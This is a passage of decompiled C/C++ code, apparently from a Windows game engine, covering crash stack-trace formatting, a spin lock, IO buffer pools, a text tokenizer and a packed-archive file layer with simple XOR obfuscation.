__PAIR__(HIDWORD(dwTemp), (unsigned int)v14); v16 = _wsprintfA(&s_szBuff[v15], "%s", v14, HIDWORD(dwTemp)); } else { v49 = 2048i64; HIDWORD(iCurr) = &s_szBuff[v15]; LODWORD(iCurr) = 0; szRet = pExPtrs->ExceptionRecord->ExceptionCode; v17 = GetModuleHandleA("NTDLL.DLL"); v16 = FormatMessageA(0xA00u, v17, szRet, iCurr, HIDWORD(iCurr), v49, HIDWORD(v49)); } v18 = _wsprintfA(&s_szBuff[v16] + v15, " >") + v16 + v15; v19 = _wsprintfA(&s_szBuff[v18], "\nIn module: ", v49) + v18; LODWORD(iCurr) = v19; v49 = (unsigned __int64)pExPtrs->ExceptionRecord->ExceptionAddress; v20 = GetCurrentProcess(); LODWORD(v21) = ((int (__stdcall *)(HANDLE, _DWORD, _DWORD))SymGetModuleBase64)(v20, v49, HIDWORD(v49)); dwTemp = v21; if ( v21 ) { iLength = GetModuleFileNameA(0, s_szFName, 0x800u); if ( (signed int)iLength <= 0 || (strrchr(s_szFName, 92), (v44 = v23) == 0) ) goto LABEL_22; v24 = (const char *)(v23 + 1); v44 = v23 + 1; v25 = v23 + 1; v26 = &s_szBuff[v19]; do { v27 = *(_BYTE *)v25; *v26++ = *(_BYTE *)v25++; } while ( v27 ); v22 = strlen(v24); } else { v22 = _wsprintfA(&s_szBuff[v19], ""); } v19 += v22; LODWORD(iCurr) = v19; LABEL_22: HIDWORD(v49) = pExPtrs->ExceptionRecord->ExceptionAddress; LODWORD(v49) = pExPtrs->ContextRecord->SegCs; v28 = _wsprintfA(&s_szBuff[v19], " at: < %04X:%08X >", v49) + v19; LODWORD(iCurr) = v28; v29 = _wsprintfA(&s_szBuff[v28], "\n", __PAIR__(HIDWORD(iCurr), v28), v49) + v28; LODWORD(iCurr) = v29; pSym = &s_stSymbol; memset(&s_stSymbol, 0, 0x400u); s_stSymbol.SizeOfStruct = 32; s_stSymbol.MaxNameLength = 992; HIDWORD(v49) = &s_stSymbol; LODWORD(v49) = &dwDisp; iCurr = (DWORD64)pExPtrs->ExceptionRecord->ExceptionAddress; v30 = GetCurrentProcess(); if ( SymGetSymFromAddr64(v30, iCurr, (PDWORD64)v49, HIDWORD(v49)) == 1 ) { v31 = _wsprintfA(&s_szBuff[v29], ",") + v29; LODWORD(iCurr) = v31; iLen = lstrlenA(s_stSymbol.Name); if ( iLen > 1486 - v31 ) { lstrcpynA(&s_szBuff[v31], s_stSymbol.Name, 2047 - v31); result = s_szBuff; szRet = (DWORD)s_szBuff; return result; } if ( dwDisp ) { v49 = dwDisp; HIDWORD(iCurr) = 342648788; v32 = _wsprintfA(&s_szBuff[v31], " %s()+%04d byte(s)", 342648788, dwDisp); } else { HIDWORD(v49) = 342648788; v32 = _wsprintfA(&s_szBuff[v31], " %s ", 342648788); } v33 = v32 + v31; LODWORD(iCurr) = v33; s_stLine.Key = 0; s_stLine.LineNumber = 0; s_stLine.FileName = 0; s_stLine.Address = 0i64; s_stLine.SizeOfStruct = 24; HIDWORD(v49) = &s_stLine; LODWORD(v49) = &dwLineDisp; iCurr = (DWORD64)pExPtrs->ExceptionRecord->ExceptionAddress; v34 = GetCurrentProcess(); if ( SymGetLineFromAddr64(v34, iCurr, (PDWORD)v49, HIDWORD(v49)) == 1 ) { v35 = _wsprintfA(&s_szBuff[v33], ",") + v33; LODWORD(iCurr) = v35; v40 = lstrlenA(s_stLine.FileName); if ( v40 > 1738 - v35 ) { lstrcpynA(&s_szBuff[v35], s_stLine.FileName, 2047 - v35); result = s_szBuff; szRet = (DWORD)s_szBuff; return result; } if ( dwLineDisp ) { v49 = __PAIR__(dwLineDisp, s_stLine.LineNumber); HIDWORD(iCurr) = s_stLine.FileName; LODWORD(iCurr) = _wsprintfA( &s_szBuff[v35], " %s, line %04d+%04d byte(s)", s_stLine.FileName, s_stLine.LineNumber, dwLineDisp) + v35; result = s_szBuff; szRet = (DWORD)s_szBuff; return result; } v49 = __PAIR__(s_stLine.LineNumber, (unsigned int)s_stLine.FileName); LODWORD(iCurr) = _wsprintfA(&s_szBuff[v35], " %s, line %04d", s_stLine.FileName, s_stLine.LineNumber) + v35; } } return s_szBuff; } // 5A2290: invalid function type has been ignored //----- (00567F40) -------------------------------------------------------- const char *__stdcall GetFirstStackTraceString(unsigned int dwOpts, _EXCEPTION_POINTERS *pExPtrs) { const char *result; // eax@2 if ( IsBadReadPtr(pExPtrs, 4u) == 1 ) { OutputDebugStringA("GetFirstStackTraceString - invalid pExPtrs!\n"); result = 0; } else { FillInStackFrame(pExPtrs->ContextRecord); memcpy(&s_stContext, pExPtrs->ContextRecord, sizeof(s_stContext)); result = EHInternalGetStackTraceString(dwOpts); } return result; } //----- (00567F90) -------------------------------------------------------- const char *__stdcall GetNextStackTraceString(unsigned int dwOpts, _EXCEPTION_POINTERS *__formal) { return EHInternalGetStackTraceString(dwOpts); } //----- (00567FA0) -------------------------------------------------------- void __thiscall CIOSpinLock::Wait(CIOSpinLock *this) { CIOSpinLock *v1; // esi@1 signed int v2; // ebx@1 signed int v3; // ebp@4 v1 = this; v2 = 3999; while ( InterlockedCompareExchange(&v1->lock, 1, 0) ) { _mm_pause(); --v2; if ( v2 < 0 ) { v3 = 3999; while ( 1 ) { SwitchToThread(); if ( !InterlockedCompareExchange(&v1->lock, 1, 0) ) break; --v3; if ( v3 < 0 ) { do Sleep(0x3E8u); while ( InterlockedCompareExchange(&v1->lock, 1, 0) ); return; } } return; } } } //----- (00568000) -------------------------------------------------------- void __thiscall IOBufferContainer::IOBufferContainer(IOBufferContainer *this) { IOBufferContainer *v1; // ebx@1 signed int v2; // edi@1 void *v3; // eax@2 void *v4; // esi@2 v1 = this; v2 = 0; this->iobc_Lock.lock = 0; this->iobc_Pointer = 0; do { v3 = operator new(0x2010u); v4 = v3; if ( v3 ) { *(_DWORD *)v3 = &CIOBuffer::_vftable_; InterlockedIncrement(&CIOBuffer::s_nCount); } else { v4 = 0; } v1->iobc_PointerList[v2] = (CIOBuffer *)v4; if ( !v4 ) ShineExit("IOBufferContainer::IOBufferContainer"); ++v2; } while ( v2 < 512 ); } // 5E8000: using guessed type int (__thiscall *CIOBuffer___vftable_)(void *p, char); //----- (00568070) -------------------------------------------------------- CIOBuffer *__thiscall IOBufferContainer::iobc_Alloc(IOBufferContainer *this) { int v1; // edx@1 void *v2; // eax@2 CIOBuffer *v3; // esi@2 CIOBuffer *result; // eax@3 v1 = this->iobc_Pointer; if ( v1 < 512 ) { result = this->iobc_PointerList[v1]; this->iobc_Pointer = v1 + 1; } else { v2 = operator new(0x2010u); v3 = (CIOBuffer *)v2; if ( v2 ) { *(_DWORD *)v2 = &CIOBuffer::_vftable_; InterlockedIncrement(&CIOBuffer::s_nCount); result = v3; } else { result = 0; } } return result; } // 5E8000: using guessed type int (__thiscall *CIOBuffer___vftable_)(void *p, char); //----- (005680C0) -------------------------------------------------------- void *__thiscall CIOBuffer::_scalar_deleting_destructor_(CIOBuffer *this, unsigned int a2) { void *v2; // esi@1 v2 = this; this->vfptr = (CIOBufferVtbl *)&CIOBuffer::_vftable_; if ( a2 & 1 ) operator delete(this); return v2; } // 5E8000: using guessed type int (__thiscall *CIOBuffer___vftable_)(void *p, char); //----- (005680E0) -------------------------------------------------------- CIOBuffer *__cdecl CIOBuffer::Alloc() { int v0; // esi@1 CIOBuffer *v1; // edi@3 int v2; // esi@5 v0 = InterlockedIncrement(&g_nAllocBuffer) & 0xF; if ( InterlockedCompareExchange((volatile LONG *)(8 * v0 + 342652884), 1, 0) ) CIOSpinLock::Wait((CIOSpinLock *)(8 * v0 + 342652884)); v1 = g_slotBuffer[v0].m_pBuffer; if ( v1 ) { g_slotBuffer[v0].m_pBuffer = v1->m_pNext; InterlockedExchange((volatile LONG *)(8 * v0 + 342652884), 0); } else { InterlockedExchange((volatile LONG *)(8 * v0 + 342652884), 0); v2 = 2056 * v0; if ( InterlockedCompareExchange((volatile LONG *)((char *)&unk_146C8054 + v2), 1, 0) ) CIOSpinLock::Wait((CIOSpinLock *)((char *)&unk_146C8054 + v2)); v1 = IOBufferContainer::iobc_Alloc((IOBufferContainer *)((char *)&IOBufferList + v2)); InterlockedExchange((volatile LONG *)((char *)&unk_146C8054 + v2), 0); } v1->m_dwSize = 0; v1->m_nRef = 1; v1->m_pNext = 0; InterlockedIncrement(&CIOBuffer::s_nAlloc); return v1; } //----- (005681A0) -------------------------------------------------------- void __thiscall CIOBuffer::Free(CIOBuffer *this) { CIOBuffer *v1; // ebx@1 int v2; // eax@1 int v3; // esi@1 CIOSpinLock *v4; // edi@1 v1 = this; InterlockedDecrement(&CIOBuffer::s_nAlloc); v2 = InterlockedDecrement(&g_nFreeBuffer) & 0xF; v3 = 8 * v2 + 342652880; v4 = (CIOSpinLock *)(8 * v2 + 342652884); if ( InterlockedCompareExchange((volatile LONG *)(8 * v2 + 342652884), 1, 0) ) CIOSpinLock::Wait(v4); v1->m_pNext = *(CIOBuffer **)v3; *(_DWORD *)v3 = v1; InterlockedExchange(&v4->lock, 0); } //----- (00568200) -------------------------------------------------------- void __thiscall CToken::CToken(CToken *this) { CToken *v1; // esi@1 char v2; // dl@1 v1 = this; CGdp::CGdp(&this->m_Gdp); v1->m_bIsOpen = 0; v1->m_hFile = 0; v1->m_pFileBF = 0; v1->m_pSaveTokenPos = 0; v1->m_bOpenByMemory = 0; v1->m_bResetStart = 0; v1->m_bIsStart = 1; *(_DWORD *)&v1->m_szSeprator[0] = *(_DWORD *)" \t\r\n"; v2 = asc_5E802C[4]; v1->m_pToken = 0; v1->m_lplpTokenList = 0; v1->m_dwNumTokens = 0; v1->m_szSeprator[4] = v2; } //----- (00568270) -------------------------------------------------------- void __thiscall CToken::Close(CToken *this) { CToken *v1; // esi@1 v1 = this; if ( this->m_pFileBF ) { free(this->m_pFileBF); v1->m_pFileBF = 0; } if ( v1->m_bIsOpen ) { CGdp::CloseHandle(&v1->m_Gdp, v1->m_hFile); v1->m_bIsOpen = 0; } CGdp::GdpClose(&v1->m_Gdp); v1->m_bOpenByMemory = 0; } //----- (005682D0) -------------------------------------------------------- void __thiscall CToken::SetSeprator(CToken *this, char *lpszSeprator) { char *v2; // eax@1 unsigned int v3; // edx@1 char v4; // cl@2 v2 = lpszSeprator; v3 = this->m_szSeprator - lpszSeprator; do { v4 = *v2; v2[v3] = *v2; ++v2; } while ( v4 ); } //----- (005682F0) -------------------------------------------------------- char *__thiscall CToken::my_tcstok(CToken *this, char *pstrToken, const char *pstrDelimit) { CToken *v3; // esi@1 char *v4; // edi@3 char *result; // eax@4 char *v6; // eax@5 char *v7; // eax@6 char *v8; // eax@7 v3 = this; if ( pstrToken ) this->m_pMyTokenStart = pstrToken; v4 = this->m_pMyTokenStart; if ( v4 ) { v6 = _mbspbrk(v4, pstrDelimit); v3->m_pMyTokenStart = v6; if ( v6 == v4 ) { do { v4 = v3->m_pMyTokenStart + 1; v3->m_pMyTokenStart = v4; v7 = _mbspbrk(v4, pstrDelimit); v3->m_pMyTokenStart = v7; } while ( v7 == v4 ); } v8 = v3->m_pMyTokenStart; if ( v8 ) { *v8 = 0; ++v3->m_pMyTokenStart; } result = v4; } else { result = 0; } return result; } //----- (00568370) -------------------------------------------------------- char *__thiscall CToken::GetToken(CToken *this) { CToken *v1; // esi@1 char *result; // eax@1 char *v3; // [sp-8h] [bp-Ch]@3 const char *v4; // [sp-4h] [bp-8h]@3 v1 = this; result = this->m_pFileBF; if ( result ) { if ( this->m_bIsStart ) { v4 = this->m_szSeprator; this->m_bIsStart = 0; this->m_bResetStart = 0; v3 = result; } else { if ( this->m_bResetStart ) { result = CToken::my_tcstok(this, this->m_pResetStart, this->m_szSeprator); v1->m_bResetStart = 0; v1->m_pToken = result; return result; } v4 = this->m_szSeprator; v3 = 0; } result = CToken::my_tcstok(this, v3, v4); v1->m_pToken = result; } return result; } //----- (005683F0) -------------------------------------------------------- int __thiscall CToken::GoBegin(CToken *this) { CToken *v1; // ebx@1 int result; // eax@3 CToken *dwReaded; // [sp+0h] [bp-4h]@1 dwReaded = this; v1 = this; if ( this->m_bOpenByMemory ) { this->m_pFileBF[this->m_dwFileSize] = 0; memcpy(this->m_pFileBF, this->m_pOpenMemory, this->m_dwFileSize); LABEL_3: result = 1; v1->m_bIsStart = 1; return result; } if ( this->m_bIsOpen ) { if ( CGdp::SetFilePointer(&this->m_Gdp, this->m_hFile, 0, 0, 0) != -1 && CGdp::ReadFile(&v1->m_Gdp, v1->m_hFile, v1->m_pFileBF, v1->m_dwFileSize, (unsigned int *)&dwReaded, 0) ) goto LABEL_3; CToken::Close(v1); } return 0; } //----- (005684A0) -------------------------------------------------------- int __thiscall CToken::GoNextLine(CToken *this) { CToken *v1; // esi@1 char *v2; // edx@2 int result; // eax@3 char *v4; // eax@4 char v5; // cl@5 v1 = this; if ( this->m_pFileBF && (v2 = this->m_pToken) != 0 ) { v4 = this->m_pToken; do v5 = *v4++; while ( v5 ); if ( v2[v4 - (v2 + 1) + 1] != 10 ) v1->m_pToken = CToken::my_tcstok(v1, 0, "\n"); result = 1; } else { result = 0; } return result; } //----- (005684F0) -------------------------------------------------------- char *__thiscall CToken::GoStartString(CToken *this) { char *result; // eax@2 char *v2; // esi@3 char *v3; // eax@3 int v4; // edx@3 char v5; // cl@4 int v6; // eax@5 int v7; // edx@5 char v8; // al@5 signed int v9; // edi@5 int v10; // ecx@6 if ( this->m_pFileBF ) { v2 = this->m_pToken; v3 = this->m_pToken; v4 = (int)(v3 + 1); do v5 = *v3++; while ( v5 ); v6 = (int)&v3[-v4]; v7 = v6; v8 = v2[v6 + 1]; v9 = 1; if ( v8 != 34 ) { v10 = (int)&v2[v7 + 1]; do { if ( !v8 ) break; v8 = *(_BYTE *)(v10 + 1); ++v9; ++v10; } while ( v8 != 34 ); } result = &v2[v9] + v7; } else { result = 0; } return result; } //----- (00568550) -------------------------------------------------------- void __thiscall CToken::SaveTokenPositon(CToken *this) { this->m_pSaveTokenPos = this->m_pToken; } //----- (00568560) -------------------------------------------------------- int __thiscall CToken::RestoreTokenPositon(CToken *this, const char *pMarkPoint) { CToken *v2; // esi@1 char *v4; // [sp-8h] [bp-10h]@3 const char *v5; // [sp-4h] [bp-Ch]@3 v2 = this; if ( pMarkPoint ) { if ( CToken::GoBegin(this) ) { v5 = v2->m_szSeprator; v4 = (char *)pMarkPoint; LABEL_7: v2->m_bIsStart = 0; v2->m_pToken = CToken::my_tcstok(v2, v4, v5); return 1; } } else { if ( this->m_pSaveTokenPos && CToken::GoBegin(this) ) { v5 = v2->m_szSeprator; v4 = v2->m_pSaveTokenPos; goto LABEL_7; } } return 0; } //----- (005685D0) -------------------------------------------------------- unsigned int __thiscall CToken::IsTokenID(CToken *this, char *Token, char **ppTokenList, unsigned int NumTokens) { unsigned int v4; // esi@1 unsigned int result; // eax@4 v4 = 0; if ( NumTokens ) { while ( _mbsicmp(Token, ppTokenList[v4]) ) { ++v4; if ( v4 >= NumTokens ) goto LABEL_4; } result = v4; } else { LABEL_4: result = -1; } return result; } //----- (00568610) -------------------------------------------------------- char *__thiscall CToken::GetTokenID(CToken *this, unsigned int *lpdwTokenID, char **ppTokenList, unsigned int NumTokens) { CToken *v4; // esi@1 char *v5; // eax@3 v4 = this; CToken::GetToken(this); *lpdwTokenID = -1; if ( ppTokenList ) { if ( NumTokens ) { v5 = v4->m_pToken; if ( v5 ) { if ( !*v5 ) return 0; *lpdwTokenID = CToken::IsTokenID(v4, v5, ppTokenList, NumTokens); } } } return v4->m_pToken; } //----- (00568660) -------------------------------------------------------- void __thiscall CToken::_CToken(CToken *this) { CGdp *v1; // esi@1 v1 = (CGdp *)this; CToken::Close(this); CGdp::_CGdp(v1); } //----- (005686B0) -------------------------------------------------------- int __thiscall CToken::Open(CToken *this, char *lpszPathName) { CToken *v2; // esi@1 void *v3; // eax@1 unsigned int v4; // eax@2 void *v5; // eax@3 CToken *dwReaded; // [sp+0h] [bp-4h]@1 dwReaded = this; v2 = this; CToken::Close(this); v3 = CGdp::CreateFileA(&v2->m_Gdp, lpszPathName, 0x80000000u, 1u, 0, 3u, 0x80u, 0); v2->m_hFile = v3; if ( v3 == (void *)-1 ) return 0; v2->m_bIsOpen = 1; v4 = CGdp::GetFileSize(&v2->m_Gdp, v3, 0); v2->m_dwFileSize = v4; if ( v4 == -1 || (v5 = malloc(v4 + 1), (v2->m_pFileBF = (char *)v5) == 0) || (*((_BYTE *)v5 + v2->m_dwFileSize) = 0, !CGdp::ReadFile(&v2->m_Gdp, v2->m_hFile, v2->m_pFileBF, v2->m_dwFileSize, (unsigned int *)&dwReaded, 0)) ) { CToken::Close(v2); return 0; } v2->m_bIsStart = 1; v2->m_bOpenByMemory = 0; return 1; } //----- (00568780) -------------------------------------------------------- int __thiscall CToken::OpenFromMemory(CToken *this, char *lpText) { CToken *v2; // ebx@1 unsigned int v3; // eax@1 void *v4; // eax@2 int result; // eax@3 v2 = this; CToken::Close(this); v3 = strlen(lpText); v2->m_dwFileSize = v3; if ( v3 && (v4 = malloc(v3 + 1), (v2->m_pFileBF = (char *)v4) != 0) ) { *((_BYTE *)v4 + v2->m_dwFileSize) = 0; memcpy(v2->m_pFileBF, lpText, v2->m_dwFileSize); result = 1; v2->m_pOpenMemory = lpText; v2->m_bIsStart = 1; v2->m_bOpenByMemory = 1; } else { result = 0; } return result; } //----- (00568810) -------------------------------------------------------- char *__thiscall CToken::GetTokenString(CToken *this, int *pstrsize) { CToken *v2; // esi@1 char *v3; // eax@1 char *v5; // eax@7 char *v6; // eax@11 int v7; // edi@12 char v8; // cl@13 v2 = this; v3 = this->m_pFileBF; if ( !v3 ) return 0; if ( this->m_bIsStart ) { this->m_bIsStart = 0; this->m_bResetStart = 0; this->m_pToken = CToken::my_tcstok(this, v3, "\""); } if ( v2->m_bResetStart ) { v2->m_pToken = v2->m_pResetStart - 1; v2->m_bResetStart = 0; } v5 = CToken::GoStartString(v2); v2->m_pToken = v5; if ( *v5 != 34 || v5[1] != 34 ) { v6 = CToken::my_tcstok(v2, v5, "\""); v2->m_pToken = v6; if ( pstrsize ) { v7 = (int)(v6 + 1); do v8 = *v6++; while ( v8 ); *pstrsize = (int)&v6[-v7]; } } else { v5[1] = 0; v2->m_pResetStart = v2->m_pToken + 2; v2->m_bResetStart = 1; v2->m_pToken = (char *)&CToken::m_NULLstr; if ( pstrsize ) { *pstrsize = 0; return v2->m_pToken; } } return v2->m_pToken; } //----- (00568900) -------------------------------------------------------- void __thiscall CGdp::Clear(CGdp *this) { this->m_bIsGDPOpen = 0; this->m_GdpIO = 0; this->m_hGDPFile = 0; this->m_fpGDPFile = 0; this->m_bIsGDPOpenByHandle = 0; this->m_bIsGDPOpenByFilePointer = 0; memset(this->m_GDPFileName, 0, sizeof(this->m_GDPFileName)); this->m_dwGDPFPos = 0; this->m_dwGDPFPosHigh = 0; this->m_dwNumChunk = 0; this->m_pChunkList = 0; this->m_bIsOpen = 0; this->m_StoreType = 0; this->m_bNew = 0; this->m_hFile = 0; this->m_dwFileNo = 0; this->m_pFileChunk = 0; this->m_dwDefaultNumEmptyMakes = 10; } //----- (00568970) -------------------------------------------------------- unsigned int __thiscall CGdp::GdpSetFilePointer(CGdp *this, int lLow, int *lpHigh, unsigned int dwMode) { CGdp *v4; // esi@1 CGdp::GDP_IO_TYPE v5; // eax@1 unsigned int result; // eax@5 v4 = this; v5 = this->m_GdpIO; if ( v5 ) { if ( v5 != 1 ) return -1; if ( fseek(this->m_fpGDPFile, lLow, dwMode) ) { SetLastError(0x84u); return -1; } if ( lpHigh ) *lpHigh = 0; result = ftell(v4->m_fpGDPFile); } else { result = SetFilePointer(this->m_hGDPFile, lLow, lpHigh, dwMode); } return result; } //----- (005689F0) -------------------------------------------------------- void __thiscall CGdp::GdpEncryptHeader(CGdp *this, CGdp::GDP_CHUNK *lpChunk) { unsigned int v2; // ecx@1 unsigned int v3; // eax@1 v2 = this->m_EncryptKey; v3 = 0; do { *(_DWORD *)&lpChunk->___u2.TYPE_MAIN.Comment[4 * v3++] ^= v2 ^ 0x36175A5A; v2 = __ROL__(v2, 1); } while ( v3 < 0x4D ); } //----- (00568A20) -------------------------------------------------------- void __thiscall CGdp::GdpDecryptData(CGdp *this, void *lpData, unsigned int dwSize) { char v3; // al@1 unsigned int v4; // ecx@1 v3 = LOBYTE(this->m_EncryptKey) ^ BYTE1(this->m_EncryptKey) ^ BYTE2(this->m_EncryptKey) ^ BYTE3(this->m_EncryptKey); v4 = 0; if ( dwSize ) { do *((_BYTE *)lpData + v4++) ^= v3; while ( v4 < dwSize ); } } //----- (00568A60) -------------------------------------------------------- int __thiscall CGdp::GdpWriteChunk(CGdp *this, CGdp::GDP_CHUNK *lpChunk) { CGdp *v2; // ebx@1 CGdp::GDP_CHUNK *v3; // eax@2 CGdp::GDP_IO_TYPE v4; // ecx@4 int result; // eax@7 unsigned int NumberOfBytesWritten; // [sp+Ch] [bp-144h]@9 CGdp::GDP_CHUNK WrtChunk; // [sp+10h] [bp-140h]@3 v2 = this; if ( this->m_bWriteEncryptedHeader ) { lpChunk->Encrypt |= 1u; memcpy(&WrtChunk, lpChunk, sizeof(WrtChunk)); CGdp::GdpEncryptHeader(this, &WrtChunk); v3 = &WrtChunk; } else { v3 = lpChunk; v3->Encrypt &= 0xFFFFFFFEu; } v4 = v2->m_GdpIO; if ( v4 ) result = v4 != 1 || fwrite(v3, 0x13Cu, 1u, v2->m_fpGDPFile) == 1; else result = WriteFile(v2->m_hGDPFile, v3, 0x13Cu, &NumberOfBytesWritten, 0); return result; } //----- (00568B10) -------------------------------------------------------- int __thiscall CGdp::GdpUpdateChunk(CGdp *this, unsigned int dwChunkNo) { CGdp *v2; // edi@1 int result; // eax@3 v2 = this; if ( CGdp::GdpSetFilePointer( this, this->m_pChunkList[dwChunkNo].ChunkFPos, &this->m_pChunkList[dwChunkNo].ChunkFPosHigh, 0) == -1 && GetLastError() ) result = 0; else result = CGdp::GdpWriteChunk(v2, &v2->m_pChunkList[dwChunkNo].Chunk) != 0; return result; } //----- (00568B70) -------------------------------------------------------- void __thiscall CGdp::UpdateWriteDataInfo(CGdp *this, const void *lpBuffer, unsigned int nNumberOfBytesToWrite) { CGdp *v3; // esi@1 CGdp::GDP_CHUNK_LIST *v4; // edx@1 unsigned int v5; // kr00_4@1 int v6; // ecx@1 _SYSTEMTIME SystemTime; // [sp+Ch] [bp-10h]@1 v3 = this; v4 = this->m_pFileChunk; v5 = *(_DWORD *)&v4->Chunk.gap114[4]; *(_DWORD *)&v4->Chunk.gap114[4] += nNumberOfBytesToWrite; v6 = (nNumberOfBytesToWrite + (unsigned __int64)v5) >> 32; *(_DWORD *)&v3->m_pFileChunk->Chunk.gap114[8] = v6; *(_DWORD *)&v3->m_pFileChunk->Chunk.gap114[12] = nNumberOfBytesToWrite + v5; *(_DWORD *)&v3->m_pFileChunk->Chunk.gap114[16] = v6; GetSystemTime(&SystemTime); SystemTimeToFileTime(&SystemTime, (LPFILETIME)&v3->m_pFileChunk->Chunk.gap114[20]); } //----- (00568BF0) -------------------------------------------------------- unsigned int __thiscall CGdp::GdpSearchFile(CGdp *this, const char *lpFileName) { CGdp *v2; // esi@1 unsigned int v3; // ebx@1 int v4; // edi@2 CGdp::GDP_CHUNK_LIST *v5; // eax@3 CGdp::GDP_TYPE v6; // ecx@3 int v7; // eax@3 unsigned int result; // eax@6 v2 = this; v3 = 0; if ( this->m_dwNumChunk ) { v4 = 0; while ( 1 ) { v5 = v2->m_pChunkList; v6 = v5[v4].Chunk.Type; v7 = (int)&v5[v4]; if ( v6 == 2 ) { if ( !_mbsicmp((const char *)(v7 + 16), lpFileName) ) break; } ++v3; ++v4; if ( v3 >= v2->m_dwNumChunk ) goto LABEL_6; } result = v3; } else { LABEL_6: result = -1; } return result; } //----- (00568C60) -------------------------------------------------------- int __thiscall CGdp::GdpDeleteFile(CGdp *this, unsigned int dwFileNo) { char *v2; // eax@1 int result; // eax@2 v2 = (char *)&this->m_pChunkList[dwFileNo].Chunk; if ( *(_DWORD *)v2 == 2 ) { *(_DWORD *)v2 = 3; result = CGdp::GdpUpdateChunk(this, dwFileNo); } else { result = 0; } return result; } //----- (00568CA0) -------------------------------------------------------- int __thiscall CGdp::GdpDeleteFile(CGdp *this, const char *lpFileName) { CGdp *v2; // esi@1 unsigned int v3; // eax@1 int v4; // ecx@2 int result; // eax@3 v2 = this; v3 = CGdp::GdpSearchFile(this, lpFileName); if ( v3 != -1 && (v4 = (int)&v2->m_pChunkList[v3].Chunk, *(_DWORD *)v4 == 2) ) { *(_DWORD *)v4 = 3; result = CGdp::GdpUpdateChunk(v2, v3); } else { result = 0; } return result; } //----- (00568CF0) -------------------------------------------------------- int __thiscall CGdp::CloseHandle(CGdp *this, void *hObject) { CGdp *v2; // esi@1 int result; // eax@2 v2 = this; if ( this->m_bIsGDPOpen ) { if ( this->m_bIsOpen ) { CGdp::GdpUpdateChunk(this, this->m_dwFileNo); v2->m_bIsOpen = 0; } result = 1; } else { result = CloseHandle(hObject); } return result; } //----- (00568D30) -------------------------------------------------------- int __thiscall CGdp::ReadFile(CGdp *this, void *hFile, void *lpBuffer, unsigned int nNumberOfBytesToRead, unsigned int *lpNumberOfBytesRead, _OVERLAPPED *lpOverlapped) { CGdp *v6; // esi@1 unsigned int v8; // eax@5 int v9; // eax@6 v6 = this; if ( !this->m_bIsGDPOpen ) return ReadFile(hFile, lpBuffer, nNumberOfBytesToRead, lpNumberOfBytesRead, lpOverlapped); if ( hFile != this->m_hFile ) return 0; v8 = this->m_pFileChunk->Chunk.___u2.TYPE_MAIN.NumChunk; if ( v8 ) { v9 = v8 - 1; if ( v9 ) { if ( v9 == 1 ) return 0; goto LABEL_11; } return 0; } if ( !ReadFile(hFile, lpBuffer, nNumberOfBytesToRead, lpNumberOfBytesRead, lpOverlapped) ) return 0; LABEL_11: if ( v6->m_pFileChunk->Chunk.Encrypt & 2 ) CGdp::GdpDecryptData(v6, lpBuffer, *lpNumberOfBytesRead); return 1; } //----- (00568DC0) -------------------------------------------------------- int __thiscall CGdp::WriteFile(CGdp *this, void *hFile, const void *lpBuffer, unsigned int nNumberOfBytesToWrite, unsigned int *lpNumberOfBytesWritten, _OVERLAPPED *lpOverlapped) { CGdp *v6; // esi@1 int result; // eax@2 unsigned int v8; // eax@7 int v9; // eax@8 void *v10; // edi@10 v6 = this; if ( this->m_bIsGDPOpen ) { if ( hFile == this->m_hFile ) { if ( this->m_pFileChunk->Chunk.Encrypt & 2 ) CGdp::GdpDecryptData(this, (void *)lpBuffer, nNumberOfBytesToWrite); v8 = v6->m_pFileChunk->Chunk.___u2.TYPE_MAIN.NumChunk; if ( v8 ) { v9 = v8 - 1; if ( v9 && v9 != 1 ) v10 = hFile; else v10 = 0; } else { v10 = (void *)WriteFile(hFile, lpBuffer, nNumberOfBytesToWrite, lpNumberOfBytesWritten, lpOverlapped); } if ( v6->m_pFileChunk->Chunk.Encrypt & 2 ) CGdp::GdpDecryptData(v6, (void *)lpBuffer, nNumberOfBytesToWrite); if ( v10 ) { v6->m_bWritten = 1; CGdp::UpdateWriteDataInfo(v6, lpBuffer, nNumberOfBytesToWrite); } result = (int)v10; } else { result = 0; } } else { result = WriteFile(hFile, lpBuffer, nNumberOfBytesToWrite, lpNumberOfBytesWritten, lpOverlapped); } return result; } //----- (00568E70) -------------------------------------------------------- unsigned int __thiscall CGdp::GetFileSize(CGdp *this, void *hFile, unsigned int *lpFileSizeHigh) { unsigned int result; // eax@2 if ( this->m_bIsGDPOpen ) { if ( lpFileSizeHigh ) *lpFileSizeHigh = *(_DWORD *)&this->m_pFileChunk->Chunk.gap114[8]; result = *(_DWORD *)&this->m_pFileChunk->Chunk.gap114[4]; } else { result = GetFileSize(hFile, lpFileSizeHigh); } return result; } //----- (00568EA0) -------------------------------------------------------- unsigned int __thiscall CGdp::SetFilePointer(CGdp *this, void *hFile, int lDistanceToMove, int *lpDistanceToMoveHigh, unsigned int dwMoveMethod) { CGdp *v5; // esi@1 unsigned int result; // eax@2 CGdp::GDP_CHUNK_LIST *v7; // eax@9 int *v8; // edi@9 int v9; // edx@10 DWORD v10; // eax@15 CGdp::GDP_CHUNK_LIST *v11; // esi@15 void *v12; // [sp-14h] [bp-18h]@9 LONG v13; // [sp-10h] [bp-14h]@9 int *v14; // [sp-Ch] [bp-10h]@9 DWORD v15; // [sp-8h] [bp-Ch]@9 v5 = this; if ( !this->m_bIsGDPOpen ) return SetFilePointer(hFile, lDistanceToMove, lpDistanceToMoveHigh, dwMoveMethod); if ( !dwMoveMethod ) { v8 = lpDistanceToMoveHigh; if ( lpDistanceToMoveHigh ) *lpDistanceToMoveHigh += *(_DWORD *)&this->m_pFileChunk->Chunk.gap114[0]; v15 = 0; v9 = lDistanceToMove + this->m_pFileChunk->Chunk.___u2.TYPE_MAIN.NumNextChunkComes; goto LABEL_14; } if ( dwMoveMethod == 1 ) { v8 = lpDistanceToMoveHigh; v9 = lDistanceToMove; v15 = 1; LABEL_14: v14 = v8; v13 = v9; v12 = this->m_hFile; goto LABEL_15; } if ( dwMoveMethod != 2 ) { if ( lpDistanceToMoveHigh ) *lpDistanceToMoveHigh = -1; SetLastError(0x57u); return -1; } v7 = this->m_pFileChunk; v8 = lpDistanceToMoveHigh; v15 = 2; v14 = &lpDistanceToMoveHigh[*(_DWORD *)&v7->Chunk.gap114[0]]; v13 = lDistanceToMove + v7->Chunk.___u2.TYPE_MAIN.NumNextChunkComes + *(_DWORD *)&v7->Chunk.gap114[4]; v12 = this->m_hFile; LABEL_15: v10 = SetFilePointer(v12, v13, v14, v15); v11 = v5->m_pFileChunk; result = v10 - 